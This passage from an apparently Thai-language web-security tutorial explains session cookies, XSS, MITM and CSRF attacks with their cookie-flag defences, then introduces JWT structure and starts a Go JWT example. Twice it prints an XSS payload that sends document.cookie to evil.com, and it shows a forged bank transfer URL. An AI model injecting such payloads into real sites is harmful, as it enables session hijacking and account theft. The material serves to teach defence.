Session ID &#xE01;&#xE32;&#xE23; Login</p><pre><code>Server &#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Set-Cookie: sessionId=abc123

Hacker &#xE09;&#xE35;&#xE14; Code &lt;script&gt;fetch(&apos;https://evil.com?cookie=&apos; + document.cookie)&lt;/script&gt;

&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C; abc123 &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE2A;&#xE48;&#xE07;&#xE44;&#xE1B;&#xE17;&#xE35;&#xE48; evil.com &#xE41;&#xE25;&#xE49;&#xE27; Hacker &#xE01;&#xE47;&#xE43;&#xE0A;&#xE49;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23; Login &#xE41;&#xE17;&#xE19;&#xE40;&#xE23;&#xE32;&#xE44;&#xE14;&#xE49;</code></pre><p><em>&#xE01;&#xE32;&#xE23;&#xE1B;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE19; XSS</em></p><p>&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE1B;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE19;&#xE44;&#xE21;&#xE48;&#xE43;&#xE2B;&#xE49; JavaScript &#xE2D;&#xE48;&#xE32;&#xE19; Cookie &#xE44;&#xE14;&#xE49;&#xE42;&#xE14;&#xE22;&#xE43;&#xE2B;&#xE49; Server &#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Cookie &#xE40;&#xE1B;&#xE47;&#xE19; <code>HttpOnly</code> &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE1A;&#xE2D;&#xE01; Browser &#xE27;&#xE48;&#xE32; <strong>&#xE2B;&#xE49;&#xE32;&#xE21;&#xE43;&#xE2B;&#xE49; JavaScript &#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07; Cookie &#xE19;&#xE35;&#xE49;&#xE40;&#xE14;&#xE47;&#xE14;&#xE02;&#xE32;&#xE14; </strong>&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49; document.cookie &#xE44;&#xE21;&#xE48;&#xE41;&#xE2A;&#xE14;&#xE07; Session ID</p><pre><code>Server &#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Set-Cookie: sessionId=abc123; HttpOnly

Hacker &#xE09;&#xE35;&#xE14; Code &lt;script&gt;fetch(&apos;https://evil.com?cookie=&apos; + document.cookie)&lt;/script&gt;

&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C; &quot;&quot; (&#xE2A;&#xE15;&#xE23;&#xE34;&#xE07;&#xE27;&#xE48;&#xE32;&#xE07;&#xE40;&#xE1B;&#xE25;&#xE48;&#xE32;) &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE2A;&#xE48;&#xE07;&#xE44;&#xE1B;&#xE17;&#xE35;&#xE48; evil.com</code></pre><p><strong>Man-in-the-Middle Attack (MITM)</strong></p><p>MITM &#xE04;&#xE37;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48; Hacker &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE14;&#xE31;&#xE01;&#xE08;&#xE31;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE48;&#xE07;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE01;&#xE31;&#xE1A; Server &#xE44;&#xE14;&#xE49; &#xE16;&#xE49;&#xE32; Cookie (&#xE40;&#xE0A;&#xE48;&#xE19; Session ID) &#xE16;&#xE39;&#xE01;&#xE2A;&#xE48;&#xE07;&#xE1C;&#xE48;&#xE32;&#xE19; HTTP &#xE0B;&#xE36;&#xE48;&#xE07;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE49;&#xE32;&#xE23;&#xE2B;&#xE31;&#xE2A; &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE30;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19;&#xE23;&#xE39;&#xE1B; Plain Text &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49; Hacker &#xE02;&#xE42;&#xE21;&#xE22; Session ID &#xE44;&#xE1B;&#xE43;&#xE0A;&#xE49;&#xE44;&#xE14;&#xE49;&#xE07;&#xE48;&#xE32;&#xE22; &#xE46;</p><p><em>&#xE01;&#xE32;&#xE23;&#xE1B;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE19; MITM</em></p><p>&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE1A;&#xE31;&#xE07;&#xE04;&#xE31;&#xE1A;&#xE43;&#xE2B;&#xE49; Cookie &#xE40;&#xE1B;&#xE47;&#xE19; <code>Secure</code> &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE31;&#xE19;&#xE16;&#xE39;&#xE01;&#xE2A;&#xE48;&#xE07;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE17;&#xE35;&#xE48;&#xE1B;&#xE25;&#xE2D;&#xE14;&#xE20;&#xE31;&#xE22;&#xE1C;&#xE48;&#xE32;&#xE19; HTTPS &#xE40;&#xE17;&#xE48;&#xE32;&#xE19;&#xE31;&#xE49;&#xE19; &#xE16;&#xE49;&#xE32; Website &#xE1E;&#xE22;&#xE32;&#xE22;&#xE32;&#xE21;&#xE43;&#xE0A;&#xE49; HTTP &#xE41;&#xE25;&#xE49;&#xE27; Cookie &#xE08;&#xE30;&#xE44;&#xE21;&#xE48;&#xE16;&#xE39;&#xE01;&#xE2A;&#xE48;&#xE07;&#xE44;&#xE1B;&#xE14;&#xE49;&#xE27;&#xE22;</p><pre><code>Server &#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Set-Cookie: sessionId=abc123; Secure; HttpOnly</code></pre><p><strong>Cross-Site Request Forgery (CSRF)</strong></p><p>&#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE32;&#xE23;&#xE42;&#xE08;&#xE21;&#xE15;&#xE35;&#xE17;&#xE35;&#xE48; Hacker &#xE2B;&#xE25;&#xE2D;&#xE01;&#xE43;&#xE2B;&#xE49; Browser &#xE02;&#xE2D;&#xE07;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE2A;&#xE48;&#xE07; Request &#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Website &#xE17;&#xE35;&#xE48;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE04;&#xE22; Login &#xE44;&#xE27;&#xE49; &#xE42;&#xE14;&#xE22;&#xE17;&#xE35;&#xE48;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE44;&#xE21;&#xE48;&#xE23;&#xE39;&#xE49;&#xE15;&#xE31;&#xE27;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;&#xE44;&#xE14;&#xE49;&#xE15;&#xE31;&#xE49;&#xE07;&#xE43;&#xE08; &#xE04;&#xE33;&#xE02;&#xE2D;&#xE19;&#xE35;&#xE49;&#xE21;&#xE31;&#xE01;&#xE08;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE32;&#xE23;&#xE01;&#xE23;&#xE30;&#xE17;&#xE33;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE01;&#xE32;&#xE23;&#xE42;&#xE2D;&#xE19;&#xE40;&#xE07;&#xE34;&#xE19; &#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE23;&#xE2B;&#xE31;&#xE2A;&#xE1C;&#xE48;&#xE32;&#xE19; &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE25;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE2F;&#xE25;&#xE2F;</p><p>&#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32;&#xE40;&#xE23;&#xE32; Login &#xE40;&#xE02;&#xE49;&#xE32; Web &#xE18;&#xE19;&#xE32;&#xE04;&#xE32;&#xE23; (bank.com) &#xE41;&#xE25;&#xE30;&#xE21;&#xE35; Session Cookie &#xE40;&#xE01;&#xE47;&#xE1A;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19; Browser</p><p>&#xE40;&#xE23;&#xE32;&#xE40;&#xE1B;&#xE34;&#xE14; Tab &#xE43;&#xE2B;&#xE21;&#xE48; &#xE41;&#xE25;&#xE49;&#xE27;&#xE40;&#xE1C;&#xE25;&#xE2D;&#xE40;&#xE02;&#xE49;&#xE32;&#xE40;&#xE27;&#xE47;&#xE1A;&#xE2D;&#xE31;&#xE19;&#xE15;&#xE23;&#xE32;&#xE22;&#xE17;&#xE35;&#xE48; Hacker &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; (evil.com) &#xE42;&#xE14;&#xE22; evil.com &#xE21;&#xE35; Code &#xE0B;&#xE48;&#xE2D;&#xE19;&#xE2D;&#xE22;&#xE39;&#xE48; &#xE40;&#xE0A;&#xE48;&#xE19; URL &#xE17;&#xE35;&#xE48;&#xE2A;&#xE48;&#xE07; Request &#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; bank.com/transfer?amount=1000&amp;to=attacker &#xE42;&#xE14;&#xE22;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34;</p><p>Browser &#xE40;&#xE2B;&#xE47;&#xE19;&#xE27;&#xE48;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19; Request &#xE44;&#xE1B; bank.com &#xE01;&#xE47;&#xE2A;&#xE48;&#xE07; Session Cookie &#xE44;&#xE1B;&#xE14;&#xE49;&#xE27;&#xE22; &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D; Server &#xE02;&#xE2D;&#xE07; bank.com &#xE40;&#xE2B;&#xE47;&#xE19; Cookie &#xE41;&#xE25;&#xE49;&#xE27;&#xE04;&#xE34;&#xE14;&#xE27;&#xE48;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19; Request &#xE08;&#xE32;&#xE01;&#xE40;&#xE23;&#xE32;&#xE08;&#xE23;&#xE34;&#xE07; &#xE46; &#xE01;&#xE47;&#xE42;&#xE2D;&#xE19;&#xE40;&#xE07;&#xE34;&#xE19;&#xE43;&#xE2B;&#xE49; Hacker &#xE17;&#xE31;&#xE19;&#xE17;&#xE35;</p><p><em>&#xE01;&#xE32;&#xE23;&#xE1B;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE19; CSRF</em></p><p>&#xE2D;&#xE32;&#xE08;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE23;&#xE2B;&#xE31;&#xE2A;&#xE25;&#xE31;&#xE1A;&#xE17;&#xE35;&#xE48; Hacker &#xE40;&#xE14;&#xE32;&#xE44;&#xE21;&#xE48;&#xE44;&#xE14;&#xE49; &#xE42;&#xE14;&#xE22; Server &#xE2A;&#xE48;&#xE07;&#xE43;&#xE2B;&#xE49;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE15;&#xE2D;&#xE19; Login &#xE17;&#xE38;&#xE01;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE48;&#xE07; Request &#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE01;&#xE32;&#xE23;&#xE42;&#xE2D;&#xE19;&#xE40;&#xE07;&#xE34;&#xE19; &#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE41;&#xE19;&#xE1A;&#xE23;&#xE2B;&#xE31;&#xE2A;&#xE25;&#xE31;&#xE1A;&#xE19;&#xE35;&#xE49;&#xE44;&#xE1B;&#xE14;&#xE49;&#xE27;&#xE22; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49; Server &#xE15;&#xE23;&#xE27;&#xE08;&#xE27;&#xE48;&#xE32;&#xE23;&#xE2B;&#xE31;&#xE2A;&#xE25;&#xE31;&#xE1A;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48; &#xE16;&#xE49;&#xE32;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;&#xE15;&#xE23;&#xE07; Request &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE1B;&#xE0F;&#xE34;&#xE40;&#xE2A;&#xE18;</p><p>&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE2D;&#xE32;&#xE08;&#xE43;&#xE2B;&#xE49; Server &#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; <code>SameSite</code> Attribute &#xE43;&#xE19; Cookie</p><pre><code>Server &#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Set-Cookie: sessionId=abc123; SameSite=Strict; Secure; HttpOnly

SameSite=Strict &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49; Cookie &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE2A;&#xE48;&#xE07;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE04;&#xE33;&#xE02;&#xE2D;&#xE21;&#xE32;&#xE08;&#xE32;&#xE01; Web &#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE19; &#xE40;&#xE0A;&#xE48;&#xE19; bank.com &#xE44;&#xE21;&#xE48;&#xE43;&#xE0A;&#xE48;&#xE08;&#xE32;&#xE01; Web &#xE2D;&#xE37;&#xE48;&#xE19;

SameSite=Lax &#xE2D;&#xE19;&#xE38;&#xE0D;&#xE32;&#xE15;&#xE1A;&#xE32;&#xE07;&#xE01;&#xE23;&#xE13;&#xE35; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE01;&#xE32;&#xE23;&#xE04;&#xE25;&#xE34;&#xE01; Link &#xE41;&#xE15;&#xE48;&#xE08;&#xE30;&#xE1A;&#xE25;&#xE47;&#xE2D;&#xE01;&#xE04;&#xE33;&#xE02;&#xE2D;&#xE02;&#xE49;&#xE32;&#xE21; Site &#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2D;&#xE31;&#xE19;&#xE15;&#xE23;&#xE32;&#xE22; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE08;&#xE32;&#xE01; Script &#xE2B;&#xE23;&#xE37;&#xE2D; Form &#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34;</code></pre><p>&#xE41;&#xE15;&#xE48;&#xE01;&#xE32;&#xE23;&#xE40;&#xE01;&#xE47;&#xE1A; Session &#xE1A;&#xE19; Server (Stateful) &#xE08;&#xE30;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE44;&#xE21;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16; Scale Server &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE23;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE17;&#xE35;&#xE48;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE02;&#xE36;&#xE49;&#xE19;&#xE44;&#xE14;&#xE49;&#xE07;&#xE48;&#xE32;&#xE22; &#xE46;</p><h2 id="%E0%B8%9E%E0%B8%B7%E0%B9%89%E0%B8%99%E0%B8%90%E0%B8%B2%E0%B8%99%E0%B8%82%E0%B8%AD%E0%B8%87-json-web-token-jwt">&#xE1E;&#xE37;&#xE49;&#xE19;&#xE10;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07; JSON Web Token (JWT)</h2><p>JWT &#xE1B;&#xE23;&#xE30;&#xE01;&#xE2D;&#xE1A;&#xE14;&#xE49;&#xE27;&#xE22; 3 &#xE2A;&#xE48;&#xE27;&#xE19;&#xE2B;&#xE25;&#xE31;&#xE01; &#xE17;&#xE35;&#xE48;&#xE40;&#xE02;&#xE49;&#xE32;&#xE23;&#xE2B;&#xE31;&#xE2A; (Encode) &#xE41;&#xE1A;&#xE1A; Base64URL (&#xE17;&#xE35;&#xE48;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE31;&#xE01;&#xE29;&#xE23;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE02;&#xE49;&#xE32;&#xE01;&#xE31;&#xE1A; URL &#xE44;&#xE14;&#xE49; &#xE42;&#xE14;&#xE22;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19; <code>+</code> &#xE40;&#xE1B;&#xE47;&#xE19; <code>-</code>, <code>/</code> &#xE40;&#xE1B;&#xE47;&#xE19; <code>_</code>, &#xE41;&#xE25;&#xE30;&#xE15;&#xE31;&#xE14; <code>=</code> &#xE2D;&#xE2D;&#xE01; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49; Token &#xE16;&#xE39;&#xE01;&#xE2A;&#xE48;&#xE07;&#xE1C;&#xE48;&#xE32;&#xE19; URL &#xE44;&#xE14;&#xE49;&#xE2A;&#xE30;&#xE14;&#xE27;&#xE01; &#xE1B;&#xE25;&#xE2D;&#xE14;&#xE20;&#xE31;&#xE22; &#xE41;&#xE25;&#xE30;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE40;&#xE02;&#xE49;&#xE32;&#xE23;&#xE2B;&#xE31;&#xE2A;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;) &#xE41;&#xE25;&#xE49;&#xE27;&#xE19;&#xE33;&#xE21;&#xE32;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22; <code>.</code> &#xE44;&#xE14;&#xE49;&#xE41;&#xE01;&#xE48;</p><ul><li><strong>Header</strong> &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE23;&#xE30;&#xE1A;&#xE38;&#xE1B;&#xE23;&#xE30;&#xE40;&#xE20;&#xE17;&#xE02;&#xE2D;&#xE07; Token (JWT) &#xE41;&#xE25;&#xE30; Algorithm &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE25;&#xE07;&#xE19;&#xE32;&#xE21; &#xE40;&#xE0A;&#xE48;&#xE19; HS256</li></ul><pre><code>{
  &quot;alg&quot;: &quot;HS256&quot;,
  &quot;typ&quot;: &quot;JWT&quot;
}</code></pre><ul><li><strong>Payload </strong>&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE1A;&#xE23;&#xE23;&#xE08;&#xE38;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; Claim &#xE40;&#xE0A;&#xE48;&#xE19; User ID, Role &#xE40;&#xE27;&#xE25;&#xE32; Expiration (exp) &#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE49;&#xE19;</li></ul><pre><code>{
  &quot;exp&quot;: 1738894041,
  &quot;username&quot;: &quot;nuttachot&quot;
}</code></pre><ul><li><strong>Signature</strong> &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE49;&#xE32;&#xE23;&#xE2B;&#xE31;&#xE2A; (Encrypt) &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE41;&#xE19;&#xE48;&#xE43;&#xE08;&#xE27;&#xE48;&#xE32; Token &#xE44;&#xE21;&#xE48;&#xE16;&#xE39;&#xE01;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49; Secret Key &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE43;&#xE19;&#xE1A;&#xE32;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE2D;&#xE32;&#xE08;&#xE43;&#xE0A;&#xE49; Private/Public Key</li></ul><pre><code>HMACSHA256(
    base64UrlEncode(header) + &quot;.&quot; + base64UrlEncode(payload),
    Secret Key
)</code></pre><p>&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; JWT 3 &#xE2A;&#xE48;&#xE27;&#xE19;&#xE17;&#xE35;&#xE48;&#xE19;&#xE33;&#xE21;&#xE32;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22; <code>.</code></p><pre><code>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3Mzg4OTQwNDEsInVzZXJuYW1lIjoibnV0dGFjaG90In0.gdK2Dgxd7xo8JMvRP4uL64DscYam3tNKrvd7tK4hIMY</code></pre><h3 id="%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B9%83%E0%B8%8A%E0%B9%89%E0%B8%87%E0%B8%B2%E0%B8%99%E0%B9%83%E0%B8%99%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A-auth-service">&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE43;&#xE19;&#xE23;&#xE30;&#xE1A;&#xE1A; Auth Service</h3><ul><li>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49; Login &#xE41;&#xE25;&#xE49;&#xE27; &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE08;&#xE30;&#xE2D;&#xE2D;&#xE01; JWT &#xE43;&#xE2B;&#xE49;&#xE01;&#xE31;&#xE1A;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49; &#xE42;&#xE14;&#xE22; Token &#xE19;&#xE35;&#xE49;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE2A;&#xE48;&#xE07;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE44;&#xE1B;&#xE43;&#xE19; Response</li><li>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D; Client &#xE02;&#xE2D;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE23;&#xE30;&#xE1A;&#xE1A; JWT &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE2A;&#xE48;&#xE07;&#xE21;&#xE32;&#xE22;&#xE31;&#xE07; Backend &#xE01;&#xE31;&#xE1A; Request &#xE43;&#xE19; Header (Authorization: Bearer <code>JWT</code>)</li><li>Server &#xE17;&#xE35;&#xE48;&#xE23;&#xE31;&#xE1A; Request &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; Token &#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE32;&#xE23; Validate Signature &#xE41;&#xE25;&#xE30;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23; Claim &#xE15;&#xE48;&#xE32;&#xE07; &#xE46; (&#xE40;&#xE0A;&#xE48;&#xE19; &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE40;&#xE27;&#xE25;&#xE32;&#xE2B;&#xE21;&#xE14;&#xE2D;&#xE32;&#xE22;&#xE38;)</li><li>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE01;&#xE32;&#xE23;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE41;&#xE25;&#xE49;&#xE27; &#xE08;&#xE36;&#xE07;&#xE2A;&#xE48;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE44;&#xE1B;&#xE43;&#xE2B;&#xE49; Client</li></ul><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.pjjop.org/content/images/2025/02/Screenshot-2568-02-05-at-14.30.59.png" class="kg-image" alt loading="lazy" width="1596" height="1260" srcset="https://blog.pjjop.org/content/images/size/w600/2025/02/Screenshot-2568-02-05-at-14.30.59.png 600w, https://blog.pjjop.org/content/images/size/w1000/2025/02/Screenshot-2568-02-05-at-14.30.59.png 1000w, https://blog.pjjop.org/content/images/2025/02/Screenshot-2568-02-05-at-14.30.59.png 1596w" sizes="(min-width: 720px) 720px"><figcaption>How JWT Authentication Work?</figcaption></figure><p>Code &#xE14;&#xE49;&#xE32;&#xE19;&#xE25;&#xE48;&#xE32;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; JWT &#xE43;&#xE19;&#xE23;&#xE30;&#xE1A;&#xE1A; Auth Service &#xE42;&#xE14;&#xE22;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49; Login &#xE2A;&#xE33;&#xE40;&#xE23;&#xE47;&#xE08; &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE08;&#xE30;&#xE2A;&#xE48;&#xE07; JWT &#xE01;&#xE25;&#xE31;&#xE1A;&#xE21;&#xE32; &#xE41;&#xE25;&#xE30;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49; Endpoint &#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE01;&#xE32;&#xE23; Authentication &#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE2A;&#xE48;&#xE07; Token &#xE17;&#xE35;&#xE48;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE43;&#xE19; Header (Authorization: Bearer <code>JWT</code>) &#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Backend &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE04;&#xE27;&#xE32;&#xE21;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE02;&#xE2D;&#xE07; Token &#xE01;&#xE48;&#xE2D;&#xE19;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;</p><pre><code>package main

import (
	&quot;fmt&quot;
	&quot;net/http&quot;
	&quot;time&quot;

	&quot;github.com/gin-gonic/gin&quot;
	&quot;github.com/golang-jwt/jwt/v4&quot;
)

// Secret key &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE02;&#xE49;&#xE32;&#xE23;&#xE2B;&#xE31;&#xE2A; Token (&#xE04;&#xE27;&#xE23;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE44;&#xE27;&#xE49;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE04;&#xE27;&#xE32;&#xE21;&#xE25;&#xE31;&#xE1A;)
var jwtSecret = []byte(&quot;your-secret-key&quot;)

// generateToken &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; JWT &#xE42;&#xE14;&#xE22;&#xE23;&#xE31;&#xE1A; username &#xE40;&#xE1B;&#xE47;&#xE19; claim &#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE15;&#xE31;&#xE49;&#xE07;&#xE40;&#xE27;&#xE25;&#xE32;&#xE2B;&#xE21;&#xE14;&#xE2D;&#xE32;&#xE22;&#xE38; (exp)
func generateToken(username string) (string, error) {
